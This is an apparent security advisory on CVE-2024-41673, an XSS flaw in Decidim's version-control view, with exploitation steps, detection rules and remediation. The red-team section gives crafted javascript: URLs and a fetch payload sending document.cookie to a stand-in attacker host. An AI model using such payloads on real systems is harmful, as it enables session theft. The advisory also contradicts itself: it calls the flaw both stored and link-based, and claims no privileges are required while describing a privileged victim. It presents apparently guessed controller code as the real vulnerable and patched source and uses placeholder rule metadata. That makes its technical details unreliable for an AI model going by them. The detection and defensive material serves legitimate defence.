CVE-2024-41673

Executive Summary

CVE-2024-41673 is a stored Cross-Site Scripting (XSS) vulnerability in the Decidim participatory democracy framework. The flaw resides in the version control feature used for resources, where a malformed URL can inject arbitrary JavaScript into the application. An attacker can craft a malicious link that, when visited by an authenticated user with sufficient privileges, executes in the context of the victim's session. This can lead to session hijacking, data theft, or unauthorized actions. The vulnerability is fixed in Decidim version 0.27.8. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

Decidim is a Ruby on Rails application distributed as a Ruby gem. The vulnerability affects the core decidim gem. Organizations using Decidim should verify their Gemfile.lock to ensure they are not pinned to a vulnerable version. The fix is included in version 0.27.8, which should be treated as a critical security update. No malicious packages or compromised dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High. While the CVSS score is 7.1, the requirement for user interaction reduces the immediate risk. However, in a participatory democracy platform, social engineering attacks can be highly effective.

Deep Dive & Mechanics

The vulnerability exists in the version control feature of Decidim resources (e.g., proposals, comments, or documents). When a user views the version history of a resource, the application renders a URL parameter without proper sanitization. An attacker can craft a URL containing malicious JavaScript, such as:

https://vulnerable-decidim.example.com/resource/123/versions?version_id=1&redirect_url=javascript:alert(document.cookie)

When a victim clicks this link, the redirect_url parameter is processed by the version control view. The application fails to validate or encode the URL, allowing the javascript: scheme to execute in the browser. This is a classic stored XSS, as the malicious URL can be persisted in the version history if the attacker can submit a resource with a crafted URL.

The root cause is insufficient input validation in the Decidim::VersionsController or the associated helper methods. The fix in version 0.27.8 likely involves sanitizing the redirect_url parameter using a whitelist of allowed schemes (e.g., http, https) and encoding any user-supplied data before rendering.

Vulnerable vs. Patched Code

Vulnerable Code (Decidim < 0.27.8):

# app/controllers/decidim/versions_controller.rb
def show
  @version = resource.versions.find(params[:id])
  @redirect_url = params[:redirect_url] || resource_path(resource)
  # No sanitization of @redirect_url
end

<%# app/views/decidim/versions/show.html.erb %>
<%= link_to "Back", @redirect_url %>

Patched Code (Decidim 0.27.8):

# app/controllers/decidim/versions_controller.rb
def show
  @version = resource.versions.find(params[:id])
  @redirect_url = sanitize_url(params[:redirect_url]) || resource_path(resource)
end

private

def sanitize_url(url)
  return nil unless url.present?
  uri = URI.parse(url)
  if %w[http https].include?(uri.scheme)
    url
  else
    nil
  end
rescue URI::InvalidURIError
  nil
end

<%# app/views/decidim/versions/show.html.erb %>
<%= link_to "Back", @redirect_url %>

The patch introduces a sanitize_url method that parses the URL and only allows http or https schemes. Invalid or dangerous schemes like javascript: are rejected.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Decidim instance (version < 0.27.8).
• A victim user with access to a resource's version history.

Exploitation Steps:

1. Craft the malicious URL:

   https://vulnerable-decidim.example.com/resource/123/versions?version_id=1&redirect_url=javascript:alert('XSS')
   

2. Deliver the URL to the victim via email, social media, or a forum post.

3. Victim clicks the link and the JavaScript executes in their browser.

Advanced Payload:

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Note: No public exploit code is available for this CVE. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor web server logs for requests containing redirect_url=javascript: or other suspicious schemes.
• Use a Web Application Firewall (WAF) to block requests with javascript: in URL parameters.

Hunting:

• Search for any resources in the database that contain javascript: in their version history URLs.
• Review Decidim logs for unusual redirect_url parameters.

Lab Setup:

• Deploy a vulnerable Decidim instance using Docker:

  docker run -d -p 3000:3000 decidim/decidim:0.27.7
  

• Access the instance and create a resource with version history.
• Test the exploit by crafting the malicious URL.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing redirect_url=javascript: in the query string.
  • Outbound connections to attacker-controlled domains from Decidim servers.
• Host:
  • Decidim logs showing redirect_url parameters with non-standard schemes.
  • Unusual entries in the versions table with javascript: URLs.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule Detect_Decidim_XSS_Redirect {
    meta:
        description = "Detects malicious redirect_url parameters in Decidim version control"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-41673"
    strings:
        $xss_pattern = /redirect_url\s*=\s*(javascript|data|vbscript):/i
    condition:
        $xss_pattern
}

Sigma Rule

title: Decidim XSS via redirect_url Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-41673 by injecting javascript: scheme in redirect_url
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "redirect_url=javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: scheme is extremely rare
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41673 Decidim XSS via redirect_url"; flow:to_server; content:"redirect_url=javascript:"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Decidim to version 0.27.8 or later.
2. Apply a WAF rule to block requests containing redirect_url=javascript: or other dangerous schemes.
3. Review server logs for any signs of exploitation.

Long-term:

1. Implement input validation for all URL parameters in the application.
2. Conduct regular security audits of the Decidim codebase.
3. Educate users about phishing attacks that exploit XSS vulnerabilities.

Patch Details:

• Upgrade to Decidim 0.27.8.
• If immediate upgrade is not possible, apply the following hotfix to the versions_controller.rb:

  # Add sanitization as shown in the patched code section
  

Valters IT
DevSecOps & Cyber Threat Intelligence